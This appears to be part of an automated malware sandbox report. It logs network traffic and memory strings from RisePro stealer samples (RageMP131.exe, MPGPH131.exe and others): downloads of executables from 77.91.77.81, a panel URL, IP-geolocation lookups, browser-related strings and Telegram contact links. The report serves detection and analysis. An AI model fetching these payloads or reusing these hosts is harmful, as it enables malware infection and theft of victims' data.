cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VrO4RO73dUtSVk1&MD=CngaslCG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /cost/sarra.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 77.91.77.81

Source: 8bcaec3fef.exe, 00000009.00000003.2546160709.000000000A8B5000.00000004.00000020.00020000.00000000.sdmp, 8bcaec3fef.exe, 00000009.00000003.2546673409.000000000A8B6000.00000004.00000020.00020000.00000000.sdmp, 8bcaec3fef.exe, 00000009.00000002.2572103242.000000000A8B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account+ equals www.youtube.com (Youtube)
Source: 8bcaec3fef.exe, 00000009.00000003.2547534253.000000000A8D6000.00000004.00000020.00020000.00000000.sdmp, 8bcaec3fef.exe, 00000009.00000002.2572183410.000000000A8D6000.00000004.00000020.00020000.00000000.sdmp, 8bcaec3fef.exe, 00000009.00000003.2530747589.000000000A82C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: accounts.youtube.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: db-ip.com

Source: unknown

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A410900D492X-BM-CBT: 1696428841X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A410900D492X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticshX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 2484Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1718890663974&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF

Source: explortu.exe, 00000002.00000003.7646255155.00000000010AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.155/ku4Nor9/index.php
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exeO
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/cost/lenin.exe
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exeateid
Source: eaa97795e9.exe, 00000008.00000003.2223816206.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000000E.00000003.2313995874.0000000005110000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2314685161.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2330868888.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2410780137.0000000005470000.00000004.00001000.00020000.00000000.sdmp, eaa97795e9.exe, 00000018.00000003.2497539627.0000000005540000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6958028505.0000000000D81000.00000040.00000001.01000000.00000011.sdmp, RageMP131.exe, 0000001B.00000003.2575871276.0000000005110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MPGPH131.exe, 0000000E.00000003.3214797316.000000000142E000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2962983581.0000000001105000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.3215347767.0000000001139000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.3193475206.0000000000634000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2999593925.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2937006129.0000000001953000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/
Source: MPGPH131.exe, 0000000F.00000003.2962983581.0000000001105000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.3215347767.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/H=
Source: eaa97795e9.exe, 00000013.00000003.3193475206.0000000000634000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2999593925.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/X
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/_d
Source: eaa97795e9.exe, 00000013.00000003.2999593925.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.3193517047.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2937006129.0000000001953000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=8.46.123.33
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=8.46.123.33FL4Q
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=8.46.123.33Jh
Source: MPGPH131.exe, 0000000F.00000003.3215443707.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2962983581.00000000010EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=8.46.123.33N?
Source: RageMP131.exe, 00000014.00000003.2937006129.0000000001953000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=8.46.123.33y
Source: MPGPH131.exe, 0000000F.00000003.3215443707.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2962983581.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2937006129.0000000001953000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=8.46.123.33
Source: RageMP131.exe, 0000001B.00000002.6959010221.0000000001447000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=8.46.123.33jL4
Source: RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: MPGPH131.exe, 0000000F.00000003.3215443707.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2962983581.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2999593925.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.3193517047.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2937006129.0000000001953000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: eaa97795e9.exe, 00000008.00000003.2223816206.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000000E.00000003.2313995874.0000000005110000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2314685161.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2330868888.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2410780137.0000000005470000.00000004.00001000.00020000.00000000.sdmp, eaa97795e9.exe, 00000018.00000003.2497539627.0000000005540000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6958028505.0000000000D81000.00000040.00000001.01000000.00000011.sdmp, RageMP131.exe, 0000001B.00000003.2575871276.0000000005110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll
Source: RageMP131.exe, 0000001B.00000002.6959010221.000000000149C000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6959010221.00000000014B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33
Source: RageMP131.exe, 0000001B.00000002.6959010221.000000000149C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33Op=6
Source: RageMP131.exe, 0000001B.00000003.3083983177.00000000014C9000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6959010221.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/x
Source: MPGPH131.exe, 0000000F.00000003.3215443707.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2962983581.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.33
Source: RageMP131.exe, 0000001B.00000002.6959010221.0000000001447000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.332
Source: RageMP131.exe, 0000001B.00000002.6962796598.0000000007F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: RageMP131.exe, 0000001B.00000002.6962796598.0000000007F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: RageMP131.exe, 0000001B.00000002.6959010221.0000000001447000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6959624442.0000000001540000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORTlbBaNN
Source: RageMP131.exe, 0000001B.00000002.6959624442.0000000001540000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORTy
Source: eaa97795e9.exe, 00000013.00000003.3193475206.0000000000634000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2999593925.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro
Source: RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot
Source: MPGPH131.exe, 0000000F.00000003.2962983581.0000000001105000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.3215347767.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2937006129.0000000001953000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot1
Source: MPGPH131.exe, 0000000E.00000003.3214797316.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot33
Source: eaa97795e9.exe, 00000013.00000003.3193475206.0000000000634000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2999593925.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botSS
Source: MPGPH131.exe, 0000000F.00000003.2962983581.0000000001105000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.3215347767.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botSS8
Source: RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botisepro_bot
Source: MPGPH131.exe, 0000000E.00000003.3214797316.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botisepro_botw
Source: MPGPH131.exe, 0000000F.00000003.2962983581.0000000001105000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.3215347767.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2937006129.0000000001953000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botlater
Source: RageMP131.exe, 00000014.00000003.2937006129.0000000001953000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botriseprok
Source: RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RageMP131.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: RageMP131.exe, 0000001B.00000002.6962796598.0000000007F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: RageMP131.exe, 0000001B.00000002.6962796598.0000000007F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/1i
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/2h
Source: RageMP131.exe, 0000001B.00000002.6962796598.0000000007F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: RageMP131.exe, 0000001B.00000002.6962796598.0000000007F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RageMP131.exe, 0000001B.00000002.6962796598.0000000007F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/ata
Source: RageMP131.exe, 0000001B.00000002.6962796598.0000000007F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
